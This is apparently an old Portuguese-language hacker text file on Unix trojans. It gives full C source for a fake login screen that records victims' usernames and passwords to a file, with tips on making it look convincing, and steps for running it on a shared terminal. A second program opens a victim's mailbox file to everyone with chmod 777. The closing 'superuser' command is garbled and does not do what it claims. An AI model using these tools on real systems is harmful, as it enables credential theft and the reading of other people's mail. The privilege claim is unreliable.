<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>

                         7***(()UNIX TROJAN())***7

                                     by

                                    Draco

           "SEGURANA NO UNIX"  apenas um sonho. Este  um sistema fcil de
           se quebrar (o melhor de tudo  que numca vai dar HANG UP depois
           da terceira tentativa de se logar). Uma vez voc estando no
           sistema, voc pode fazer o que quiser para melhor se informar
           deem uma olhadinha no artigo da Phrack que diz "UNIX Nasty Tricks"
           onde existe um cdigo em C que quebra fcilmente toda precaria
           segurana do sistema.

           O que voc precisa ter?

           Voc precisa de um account em um sistema UNIX. Tambm pode ser uma
           versao do UNIX 4.2 ou um sistema AT&T V. Precisa executar na
           maquina um PDP/11, VAX Pyramid para um melhor resultado.

           NOTAS

           O que esta por vir foi baseado em um artigo que saiu na Phrack em
           abril de 86 entitulado "MAKING UNIX SECURE" .

           Primeira parte: Atrs dos Passwords

           Voc pode implementar com um conhecimento minimo em UNIX e C. Voc
           precisa acessar um terminal onde poucas pessoas o usam, o
           laboratorio da sua escola por exemplo.

           Quando voc entra no UNIX voc vera primeiramente isto:

           Tiburon System 4.2 bsd /System V (shark)

           login: shark
           password:

           O programa que eu peguei simula uma sequencia de logon. Voc roda
           o programa no terminal.  Voc ter de dar o login e o password
           para entrar. O sistema diz para voc "login and password incorrect"
           e depois pergunta o login novamente

           A segunda vez  o programa real de login.

           Coloque no sistema o arquivo 'horse.c'.
           Voc precisara modificar as 8 primeiras linhas no seu sistema.

--------------------Corta

/* this is what a 'C' comment looks like.  You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your
 * system prints when ready.  Each \n represents a carriage return.
 */

define LOGIN  "login: "

/* The above is the login prompt.  You shouldn't have to change it
 * unless you're running some strange version of UNIX.
 */

define PASSWORD "password:"

/* The above is the password prompt.  You shouldn't have to change
 * it, either.
 */

define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after
 * "password:" and before "login incorrect."  Change it (0 = almost
 * no delay, 5 = LONG delay) so it looks like your system's delay.
 * realism is the key here - we don't want our target to become
 * suspicious.
 */


define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect
 * login is given.  You shouldn't have to change it.
 */

define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will
 * be put into automatically.  'stuff' is a perfectly good name.
 */

/* Don't change the rest of the program unless there is a need to
 * and you know 'C'.
 */

include <curses.h>
include <signal.h>
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}

--------------Corta

           Agora o seu sistema aparecera com a sequencia do login original.
           Compile o programa 'horse.c'.
           
           Agora voc trabalhara o codigo do objeto no arquivo 'horse'. Rode
           ele e nao olhe  a sequencia do logon, re-edit o 'horse.c' e
           re-compile o. Quando voc estiver lendo para colocar o programa
           em uso, crie um novo arquivo e chame 'trap' voc  tera dois
           comandos:

           horse (para rodar seu programa)
           login (para rodar o programa real e login)

           Para executar 'trap' digite:

           %source 'trap' (nao digite o %)

           V para seu terminal.
           Depois de voc rodar com sucesso em poucas vezes cheque seus
           arquivos 'stuff' e BINGO hack, hack, hack, hack vejam s:

           user john has password secret
           user mary has password smega

           Copie os passwords ou use o comando get ou > sei l se vira.

Segunda Parte: Lendo E-MAIL[]'S

           Quando o carinha roda um programa de ler e-mail, o processo cria
           um arquivinho que mais tarde  deletado.

           Quando a pessoa salva um e-mail velho ela pega no sistema UNIX,
           e coloca o arquivo no mbox e no seu diretorio. Este arquivo pode
           ser lido mas  impossivel para alguem  sem o 'owner' . Este
           programa abre (i.e. chmod777, da para alguem o sistema para
           escrever e ler) o mbox.

---------------Corta

include <pwd.h>

struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];

main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
        sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
        system(buf);
        }
}

----------Corta

           Terceira Parte: Super Usuario

           Este pequeno comando faz com que qualquer comando possa ser
           executado dentro do UNIX ou seja voc ser um Super Usuario.

           Se bem que em muitos servers este erro j foi concertado fica
           valendo mais como conhecimento.

           "chmod 666 "comando""

<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>
